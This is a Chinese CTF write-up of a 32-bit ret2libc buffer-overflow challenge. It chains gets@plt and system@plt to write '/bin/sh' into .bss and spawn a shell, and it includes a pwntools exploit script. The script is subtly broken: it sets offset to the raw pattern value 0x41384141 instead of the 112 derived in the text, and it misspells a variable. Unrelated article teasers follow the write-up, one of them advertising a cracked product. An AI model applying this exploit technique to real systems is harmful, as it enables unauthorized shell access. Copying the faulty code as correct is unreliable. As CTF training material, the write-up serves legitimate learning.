【PWN · ret2libc】ret2libc2
ret2libc1的略微进阶——存在system@plt但是不存在“/bin/sh”怎么办?
目录
前言
python3 ELF 查看文件信息
strings 查看寻找"/bin/sh"
IDA反汇编分析
思路及实现
老规矩,偏移量 offset
EXP编写
总结
前言
经过ret2libc1的洗礼,我们对ret2libc的做题模范有了基本的范式,然而实际的题目远没有如此直白和简单。本题就遇到了一个问题:"/bin/sh"字符串在程序中并不存在,怎么办?
其实很简单:没有我们就自己输入。
因为具体的原理在ret2libc1中已经很详细地讲述了,所以本篇博客主要复现解题过程。
python3 ELF 查看文件信息
好的,重要的信息都有了
strings 查看寻找"/bin/sh"
说明没有这个字符串,恼
那我们能不能输入一串字符串"/bin/sh",然后把参数地址放到这里呢?
IDA反汇编分析
bss段发现buf2,可供我们存字符串。可是也没有输入的函数呀?没关系——shellcode里面加就可以。
别忘了,plt表里面有gets@plt!我们既然可以用一种方法,通过system@plt执行system函数,为什么不可以用gets@plt执行gets函数呢?当然可以!!
思路及实现
根据基本ret2libc的思想,我们把溢出栈内容如下构造:
这是需要跳转执行两个函数的情况,基于跳转执行一个函数的情况而来,具体可以看上一篇博客ret2libc1
简单来说,padding后,函数通过返回地址跳到gets@plt然后经过一系列代码,执行gets函数,gets函数的参数从栈gets_addr的后两个单位找到。这个原理很基础,不赘述。具体看上一篇博客。然后同理跳到system@plt执行system,参数向上找第二个(跨过两个单位,其中一个是callee 的push ebp), 也是buf2_addr。
这样就实现了:没有"/bin/sh",输入就有了;照旧system,参数填"/bin/sh"地址;返回shell
老规矩,偏移量 offset
gdb:peda下,pattern create 300
然后pattern offset addr
偏移量112
EXP编写
from pwn import *io=process("./ret2libc2")offset=0x41384141
system_plt_Addr=0x8048490
gets_plt_addr=0x8048460
buf2_addr=0x804a080payload=b'a'*offset+p32(gets_plt_addr)+p32(system_plt_addr)+p32(buf2_addr)+p32(buf2_addr)io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
成功获得自己的shell
总结
从最基本理解原理的ret2libc1,到有点花头的ret2libc2,值得展望的是,比赛的题目,远远难于此。但千里之行始于足下,掌握好这些基础的,掌握好这些原理,才能慢慢深入进阶。
相关文章:

【PWN · ret2libc】ret2libc2
ret2libc1的略微进阶——存在systemplt但是不存在“/bin/sh”怎么办? 目录 前言 python3 ELF 查看文件信息 strings 查看寻找"/bin/sh" IDA反汇编分析 思路及实现 老规矩,偏移量 offset EXP编写 总结 前言 经过ret2libc1的洗礼&a…...

深度学习01-tensorflow开发环境搭建
文章目录 简介运行硬件cuda和cuddntensorflow安装。tensorflow版本安装Anaconda创建python环境安装tensorflow-gpupycharm配置配置conda环境配置juypternotebook 安装cuda安装cudnn安装blas 云服务器运行云服务器选择pycharm配置代码自动同步远程interpreter 简介 TensorFlow是…...

linux相关操作
1 系统调用 通过strace直接看程序运行过程中的系统调用情况 其中每一行为一个systemcall ,调用write系统调用将内容最终输出。 无论什么编程语言都必须通过系统调用向内核发起请求。 sar查看进程分别在用户模式和内核模式下的运行时间占比情况, ALL显…...

PMP项目管理-[第十章]沟通管理
沟通管理知识体系: 规划沟通管理: 10.1 沟通维度划分 10.2 核心概念 定义:通过沟通活动(如会议和演讲),或以工件的方式(如电子邮件、社交媒体、项目报告或项目文档)等各种可能的方式来发送或接受消息 在项目沟通中,需要…...

13个UI设计软件,一次满足你的UI设计需求
UI设计师的角色是当今互联网时代非常重要的一部分。许多计算机和移动软件都需要UI设计师的参与,这个过程复杂而乏味。这里将与您分享13个UI设计软件,希望帮助您正确选择UI设计软件,节省工作量,创建更多优秀的UI设计作品。 1.即时…...

sentinel介绍
介绍 官网地址 Sentinel 和 Hystrix 的原则是一致的: 当调用链路中某个资源出现不稳定,例如,表现为 timeout,异常比例升高的时候,则对这个资源的调用进行限制,并让请求快速失败,避免影响到其它的资源&…...

手把手教你怎么搭建自己的ChatGPT和Midjourney绘图(含源码)
AI程序采用NUXT3LARAVEL9开发(目前版本V1.1.7) 授权方式:三个顶级域名两次更换 1.AI智能对话-对接官方和官方反代(markdown输出)PS:采用百度与自用库检测文字 2.AI绘图-根据关键词绘图-增加dreamStudio绘画-增加mid…...
继承多态经典笔试题
注:visual studio复制当前行粘贴到下一行: CTRLD 杂项 调用子类重写的虚函数(带默认参数),但参数用的是基类的虚函数中的默认参数: 这是由于参数是在编译时压入 试题一 交换两个基类指针指向的对象的vf…...
如何使用Typeface-Helper-自定义字体
随着科技的不断发展,人们对于视觉效果的要求也越来越高。在设计领域中,字体设计是非常重要的一环,因为它直接影响了整个设计的风格和品质。因此,越来越多的设计师开始寻找能够帮助他们自定义字体的工具。在这个过程中,…...

SubMain CodeIt.Right 2022.2 Crack
CodeIt.Right,从源头上提高产品质量,在编写代码时获取有关问题的实时反馈,支持最佳实践和合规性,自动执行代码审查,轻松避免与您的群组无关的通知,一目了然地了解代码库的运行状况 自动执行代码审查 使用自…...
文艺复兴的核心是“以人为本”:圣母百花大教堂(Duomo)
文章目录 引言I 圣母百花大教堂的建筑技术故事1.1 布鲁内莱斯基1.2 表现三维立体的透视画法II 美第奇家族的贡献2.1 科西莫德美第奇2.2 洛伦佐美第奇III 历史中的偶然性与必然性。3.1 文艺复兴的诞生其实是必然的事情3.2 文艺复兴的偶然性引言 从科技的视角再次理解文艺复兴,…...

校招失败后,在小公司熬了 2 年终于进了百度,竭尽全力....
其实两年前校招的时候就往百度投了一次简历,结果很明显凉了,随后这个理想就被暂时放下了,但是这个种子一直埋在心里这两年除了工作以外,也会坚持写博客,也因此结识了很多优秀的小伙伴,从他们身上学到了特别…...

【C++学习】函数模板
模板的概念 模板就是建立通用的模具,大大提高复用性。 模板的特点: 模板不可以直接使用,它只是一个模型 模板的通用不是万能的 基本语法 C中提供两种模板机制:函数模板和类模板 函数模板作用: 建立一个通用函数&…...

1960-2014年各国二氧化碳排放量(人均公吨数)
1960-2014年各国二氧化碳排放量(人均公吨数)(世界发展指标, 2019年12月更新) 1、来源:世界发展指标 2、时间:1960-2014年 3、范围:世界各国 4、指标: 二氧…...

【java-04】深入浅出多态、内部类、常用API
主要内容 多态 内部类 常用API 1 多态 1.1 面向对象三大特征 ? 封装 , 继承 , 多态 1.2 什么是多态 ? 一个对象在不同时刻体现出来的不同形态 举例 : 一只猫对象 我们可以说猫就是猫 : Cat cat new Cat();我们也可以说猫是动物 : Animal cat new Cat();这里对象在不…...
【逐函数详细讲解ORB_SLAM2算法和C++代码|Viewer|1-26】
Viewer类的主要目的是实现ORB-SLAM2算法的可视化部分,帮助用户更好地理解算法的运行过程和结果。为此,Viewer类与其他类(如System、FrameDrawer、MapDrawer和Tracking)协同工作,根据摄像机的帧率实时更新可视化界面。 在Viewer类中,有一些成员变量和成员函数。 成员变量…...
【C语言】测试2 C程序设计初步
以下能正确定义整型变量 a,b 和 c,并对它们赋初值为5的语句是( )。 A. int a=b=c=5; B. int a, b, c=5; C. int a=5, b=5, c=5; D. a=b=c=5; 正确答案: C 当输入数据的形式为:25,13,10<回车 >时,以下程序的输出结果为( )。 main() {int x,y,z; scanf(“ %…...

SpringBoot3 integrate SpringDoc
SpringDoc 官方文档 Springdoc3取代swagger2 pom xml加载Springdoc JarOpenAPIDefinition,声明一个OpenAPI对API进行分组,方便查询访问地址springdoc ConfigurationRequestMapping pom xml加载Springdoc Jar <dependency><groupId>org.sprin…...

一文解决Xshell无法连接vmware上的centos
问题描述 win10系统上安装VMware workstation16 pro,装好后安装centos虚拟机,在设置network & hostname时选择的NAT模式,即使用自定义的网关和IPv4地址,最后配置完成后centos主机地址信息如下,在虚拟机内部进行pi…...

ATTCK v13版本战术介绍——防御规避(五)
一、引言 在前几期文章中我们介绍了ATT&CK中侦察、资源开发、初始访问、执行、持久化、提权战术理论知识及实战研究、部分防御规避战术,本期我们为大家介绍ATT&CK 14项战术中防御规避战术第25-30种子技术,后续会介绍防御规避其他子技术…...
基于大模型的 UI 自动化系统
基于大模型的 UI 自动化系统 下面是一个完整的 Python 系统,利用大模型实现智能 UI 自动化,结合计算机视觉和自然语言处理技术,实现"看屏操作"的能力。 系统架构设计 #mermaid-svg-2gn2GRvh5WCP2ktF {font-family:"trebuchet ms",verdana,arial,sans-…...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
基础测试工具使用经验
背景 vtune,perf, nsight system等基础测试工具,都是用过的,但是没有记录,都逐渐忘了。所以写这篇博客总结记录一下,只要以后发现新的用法,就记得来编辑补充一下 perf 比较基础的用法: 先改这…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...

算法岗面试经验分享-大模型篇
文章目录 A 基础语言模型A.1 TransformerA.2 Bert B 大语言模型结构B.1 GPTB.2 LLamaB.3 ChatGLMB.4 Qwen C 大语言模型微调C.1 Fine-tuningC.2 Adapter-tuningC.3 Prefix-tuningC.4 P-tuningC.5 LoRA A 基础语言模型 A.1 Transformer (1)资源 论文&a…...
Fabric V2.5 通用溯源系统——增加图片上传与下载功能
fabric-trace项目在发布一年后,部署量已突破1000次,为支持更多场景,现新增支持图片信息上链,本文对图片上传、下载功能代码进行梳理,包含智能合约、后端、前端部分。 一、智能合约修改 为了增加图片信息上链溯源,需要对底层数据结构进行修改,在此对智能合约中的农产品数…...
Redis:现代应用开发的高效内存数据存储利器
一、Redis的起源与发展 Redis最初由意大利程序员Salvatore Sanfilippo在2009年开发,其初衷是为了满足他自己的一个项目需求,即需要一个高性能的键值存储系统来解决传统数据库在高并发场景下的性能瓶颈。随着项目的开源,Redis凭借其简单易用、…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...
微服务通信安全:深入解析mTLS的原理与实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 一、引言:微服务时代的通信安全挑战 随着云原生和微服务架构的普及,服务间的通信安全成为系统设计的核心议题。传统的单体架构中&…...

rm视觉学习1-自瞄部分
首先先感谢中南大学的开源,提供了很全面的思路,减少了很多基础性的开发研究 我看的阅读的是中南大学FYT战队开源视觉代码 链接:https://github.com/CSU-FYT-Vision/FYT2024_vision.git 1.框架: 代码框架结构:readme有…...